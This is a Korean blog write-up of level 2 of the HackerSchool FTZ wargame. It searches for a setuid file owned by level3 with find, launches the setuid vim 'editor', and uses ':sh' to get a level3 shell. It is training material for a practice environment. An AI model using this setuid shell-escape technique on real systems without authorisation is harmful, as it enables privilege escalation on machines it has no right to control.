본문 바로가기

Hacking/[Wargame] FTZ

HackerSchool FTZ(FreeTraing Zone) level2

[level2@ftz level1]$ cd /home/level2

[level2@ftz level2]$ ls

hint  public_html  tmp

[level2@ftz level2]$ cat hint



텍스트 파일 편집 중 쉘의 명령을 실행 시킬 수 있다던데...



[level2@ftz level2]$


level2에서 cat 명령어로 힌트를 보면 위와 같은 문장을 볼 수 있습니다.


리눅스에서도 vi, vim 과 같은 명령어로 메모장과 같은 텍스트 편집 프로그램을 사용할 수 있습니다.


vi에는 세가지의 모드가 존재합니다.


  • 입력 모드 : 일반 모드에서 i(현 커서위치에서 입력모드), a(현 커서 한칸 뒤에서 입력모드), o(한줄추가후 입력모드)등을 입력했을 때 자동으로 들어가는 모드로, 이 상태에서만 텍스트 입력이 가능하다.

  • 일반 모드 : 화살표 이동이나 특정 문자 수정/삭제 및 편집에 쓰이는 대부분의 명령어가 여기서 실행된다. 이 모드가 기본 모드이다.

  • 명령 모드 : 시스템과 관련된 부분을 담당하는 모드. 일반 모드에서 :(콜론)을 누르면 된다. 다음 명령을 사용할 수 있으며, 뒤에 느낌표를 붙이면 강제 명령으로 실행된다. 입력한 명령어는 하단 버퍼에서 볼 수 있다. 

#출처 : 나무위키

저 세가지 모드에서 명령모드를 보시면 시스템과 관련된 부분을 담당하는 모드라고 적혀 있습니다.

설명하기에 앞서, 리눅스에서 권한이라는 것이 아주 중요합니다.

FTZ에서도 권한을 다루는게 주 목적이고 해킹에 있어서 권한을 얻는 것이 목표죠.

리눅스에서는 setuid(특수권한) 라는 것이 존재합니다.

쉽게 말해 권한을 가지고 있는 관리자가 사용자에게 권한을 파일이 실행될 동안 임시로 빌려주는 것을 의미합니다.

여기서 따지면 level3이라는 사용자에게 소유권이 있는 파일을 실행할 수 있게 level2에게 파일을 실행하는동안 권한을 빌려주는 것이죠

다시 돌아와서, 우리가 원하는 level3의 권한을 얻기 위해서 level1에서 사용했던 find 명령어를 이용하여 level3의 권한을 가진 파일을 찾습니다.

[level2@ftz level2]$ find / -perm +4000 -user level3 2>/dev/null
/usr/bin/editor
[level2@ftz level2]$

level3의 권한을 가진 파일을 검색하니 editor라는 파일이 나왔습니다.

이것을 실행시켜 봅니다.



~
~
~
~
~
~                              VIM - Vi IMproved
~
~                               version 6.1.320
~                           by Bram Moolenaar et al.
~                 Vim is open source and freely distributable
~
~                        Help poor children in Uganda!
~                type  :help iccf<Enter>       for information
~
~                type  :q<Enter>               to exit
~                type  :help<Enter>  or  <F1>  for on-line help
~                type  :help version6<Enter>   for version info
~
~
~
~
~



보통 사용하는 vi와 비슷합니다.


이제 이 프로그램을 이용해 권한을 얻어봅시다.


위에서 명령모드를 사용하면 시스템과 관련된 기능을 쓸 수 있다고 적혀있습니다.


명령어인 : 을 쓰고 level3의 권한을 가지고 있으니 level3의 쉘을 실행하기 위해 :sh를 입력하면?



[level3@ftz level2]$


level3으로 권한상승되었습니다!


이제 my-pass를 통해 비밀번호를 따고 올라갑시다.



'Hacking > [Wargame] FTZ' 카테고리의 다른 글

HackerSchool FTZ(FreeTraing Zone) level3  (0) 2017.02.22
HackerSchool FTZ(FreeTraing Zone) level1  (0) 2017.01.10